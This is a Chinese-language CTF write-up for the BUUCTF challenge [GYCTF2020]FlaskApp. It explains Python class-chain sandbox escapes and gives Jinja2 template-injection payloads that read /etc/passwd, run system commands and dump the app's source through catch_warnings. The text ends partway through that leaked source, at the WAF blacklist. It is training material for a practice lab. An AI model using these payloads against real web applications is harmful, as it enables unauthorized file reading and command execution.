竞赛平台:https://buuoj.cn/
1.[GYCTF2020]FlaskApp
第零步,Flask模板注入知识梳理:
1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。
__class__ 返回对象所属类型
__mro__ 返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法
// __base__和__mro__都是用来寻找基类的
__subclasses__ 返回子类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
例子(windows python 3.7):
''.__class__ <type 'str'>
''.__class__.__mro__ (<type 'str'>, <type 'object'>)
''.__class__.__base__ <class 'object'>
''.__class__.__mro__[1].__subclasses__() 列出了所有子类
''.__class__.__base__.__subclasses__() 和上面效果相同
其他例子(未知环境):
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 读取文件
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') 执行系统命令
如果函数已经被__init__了,还可以通过下面方法执行命令:
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
关于内建函数:
当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。
在__builtins__
中,有像len
、str
这样熟悉的函数。
python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。
第一步,使Base64解密报错,具体报错如下:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode()) #报错位置
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
函数获取text值直接解码,并将解码结果放到tmp中。如果waf
函数检查发现tmp中存在注入行为,则会返回no no no !!
;否则直接在模板上显示tmp。
因此,我们的目的是绕过waf函数实现注入。
第二步,读源码。
将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__=='catch_warnings' %}
{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
% endif %}
{
% endfor %}
得到报错:
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list